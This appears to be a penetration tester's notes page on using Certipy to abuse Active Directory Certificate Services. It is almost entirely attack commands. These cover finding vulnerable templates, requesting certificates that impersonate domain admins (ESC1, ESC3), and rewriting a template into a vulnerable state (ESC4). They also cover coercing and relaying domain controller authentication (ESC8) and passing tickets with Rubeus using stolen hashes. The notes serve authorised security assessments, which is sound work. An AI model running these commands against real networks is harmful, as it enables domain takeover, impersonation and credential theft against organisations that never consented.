# certipy.py
An awesome [tool](https://github.com/ly4k/Certipy) for abusing ADCS.  Check out the awesome accompanying [wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation) for attack syntax.

## Install (potential) pre-reqs
:::tip
On one assessment I didn't have Internet access on my Kali box, and the domain environment required LDAP channel binding and so Certipy threw this when I tried to enumerate the ADCS environment:
```
To use LDAP channel binding, install the patched ldap3 module: pip3 install git+https://github.com/ly4k/ldap3")
Exception: To use LDAP channel binding, install the patched ldap3 module: pip3 install git+https://github.com/ly4k/ldap3
```

So back at my home machine I did this:

```
pip3 download git+https://github.com/ly4k/ldap3 --no-deps
```

Then I sneakernet'd the file over to my Kali box through a RMM tool, and then did:

```
pip3 install ldap3.zip
```

Then I was good to go!

:::

## Find all certs

```
certipy -debug find -u user@domain.com -p '' 
```

* Hint: use `-ldap-scheme ldap` right after the `find` command if you get a bunch of annoying ldap errors!)

## Find all VULNERABLE (and enabled!) certs

```
certipy -debug find -vulnerable -enabled -u user@domain.com -p ''
```

* Hint: use `-ldap-scheme ldap` if you get a bunch of annoying ldap errors!)

## Find certs with a machine hash
Sometimes you might find yourself in a situation where an ESC1 is only vulnerable to a *machine* enrollment, so you can run your certipy `find` run with:
```
certipy -debug find enabled -u `SERVER01@DOMAIN.COM$' -hashes :THE-NTLM-HASH -target dc01.domain.com -dc-ip 1.2.3.4 -vulnerable
``` 

## Abuse ESC1
```
sudo certipy req -username lowpriv@domain.com -password 'winter2021' -ca CA-01 -target vulnerableCA.domain.com -template 'vuln-template' -upn da-i-want-to-impersonate@domain.com -dns fqdn-of-a-dc.domain.com -key-size 4096
```
!!!tip
As mentioned above, on one pentest I found myself with an NT:LM hash of a computer (from a secretsdump dump) and needing to abuse ESC1.  I found that the `find` part had to be done with just the `-hashes :XXX` format, but then when I went to actually *request* the cert with `req`, I had to first do `getTGT domain.com/MACHINE-I-HAD-HASH-FOR\$ -hashes XXX:YY`, then `export KRB5CCNAME=MACHINE-I-HAD-HASH-FOR.ccache` and then finally:

```
certipy -debug req -k -no-pass -ca VULNERABLE-CA -target dc1.domain.com -template VulnerableTemplate -upn a-domain-admin@domain.com -sid XXXYYYZZZ
```
!!!

#### Auth with the cert you just got
```
certipy auth -pfx administrator.pfx -dc-ip 172.16.16.16
```

:::tip
I was on a test recently where once I got to the `auth` phase, Certipy complained of `Object SID mismatch between certificate and user`.  Thanks to [this tweet](https://x.com/plaverty9/status/1896933931842469908), I learned that when making the `req`, include `-sid XXX`, then do `auth` again and you should be good to go!

You can lookup the SID with [rpcclient](/pentesting/internal/rpcclient).
:::

## Abuse ESC3
Request a certificate for yourself:
```
certipy req -username user@domain.com -p 'YOURPASS' -ca NAME-OF-CA-1 -target caserver.domain.com -template VULNERABLE-TEMPLATE 
```

Request cert on behalf of a domain admin:
Note - check [this issue](https://github.com/ly4k/Certipy/issues/290) because in this second step, you need to "use a certificate template with schema version 1, or a template that explicitly requires an enrollment agent with the Certificate Request Agent EKU.  The default `User` template usually does the trick."  So I'll use the `User` template in this example:

```
certipy req -username user@domain.com -p 'YOURPASS' -ca NAME-OF-CA-1 -target caserver.domain.com -template User -on-behalf-of 'DOMAIN\some-domain-admin' -pfx user.pfx
```

!!! Tip
If you're having problems figure out if an ESC3 config is actually vulnerable, [check this issue out](https://github.com/ly4k/Certipy/issues/290).
!!!

## Abuse ESC4
BHIS has a nice [blog](https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-2/) about this, and the way I like to think of it is *"If a group that my test AD account is a part of has 'write' permissions on a template, I can rewrite the config to make this ADCS config ESC1-attackable!"*

After running certipy to discover vulnerable templates, check the output and review the permissions for:

* *Owner*
* *WriteOwnerPrincipals*
* *WriteDaclPrincipals*
* *WritePropertyPrincipals*

If you see a group like *Domain Users* in those permissions list, you can likely write changes to make the template vulnerable to ESC1!  Do that like so:

```
certipy template -username user@domain.local -p 'Winter777!' -dc-ip 192.168.168.168 -template VULNERABLETEMPLATE -write-default-configuration
```

* `-write-default-configuration` makes changes detailed in the [certipy wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation) (search for *"Step 1: Modify the template to a vulnerable state"*).  The backup will be saved to a file such as `templatename.json`.

Then, do your ESC1-style attack!
```
sudo certipy req user@domain.local -p 'Winter777!' -dc-ip 192.168.168.168 -target ca.domain.local -ca 'VULNERABLE-CA' -template VULNERABLETEMPLATE -upn domainadmin@domain.local
```

Then when you're done with max pwnage, you can revert the changes:

```
certipy template -username user@domain.local -p 'Winter777!' -dc-ip 192.168.168.168 -template VULNERABLETEMPLATE -write-configuration 'templatename.json' -no-save
```

* `write-configuration backup.json` applies the configuration from the specified JSON file
* `no-save` prevents certipy from creating *another* backup of the (now malicious) configuration it's about to overwrite 

## Abuse ESC8 (DC example)
```
certipy relay -target vulnca.domain.com -template DomainController [or KerberosAuthentication]
```

### Coerce auth
```
sudo python3 Coercer.py coerce -u lowpriv -p 'Winter2024!' -t ip.of.a.dc -l my.attacking.ip.addy
```

### Abuse the cert
```
certipy auth -pfx blah.pfx -domain domain.com
rubeus.exe asktgt /domain:domain.com /user:blah /rc4:NTLMHASH /nowrap
rubeus.exe ptt /ticket:THE-PTDC01-TGT-YOU-COPIED-TO-YOUR-CLIPBOARD-EARLIER
```
:::tip
*Note: in the `asktgt` part above, if you've stolen a machine hash then you should make the user part be `/user:DC01$`*
:::

### Sanity check the CA is vulnerable to ESC8 with curl!
```
curl -sSLkI -u 'NETBIOS-NAME-OF-DOMAIN\user:password' --ntlm 'https://name.of.the.ca/certsrv/certfnsh.asp' 
```
:::tip
If you run this `curl` command on Windows, use double quotes! (h/t fastchar)
:::

If you get `401 unauthorized` the endpoint is likely still vulnerable.  Every time I've seen this and also received a header of `WWW-Authenticate: NTLM` the host has been vulnerable to ESC8.

On the other hand, I believe a `403` error indicates the endpoint has been hardened and/or the attack won't work.

On a recent assessment I got `401 unauthorized` but the endpoint wasn't vulnerable.  So I'm still not 100% how to determine vulnerability status unless I test it manually or just do `certipy find -vulnerable`

:::warning

Note to self: if I call this file `certipy.md` in the file hierarchy, Docusaurus crashes.  Wassupwitdat?  I raised an issue in GitHub for this.
:::

### Video demo (fixing ESC8)
<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1150375159?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="How to fix the ESC8 vulnerability"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>
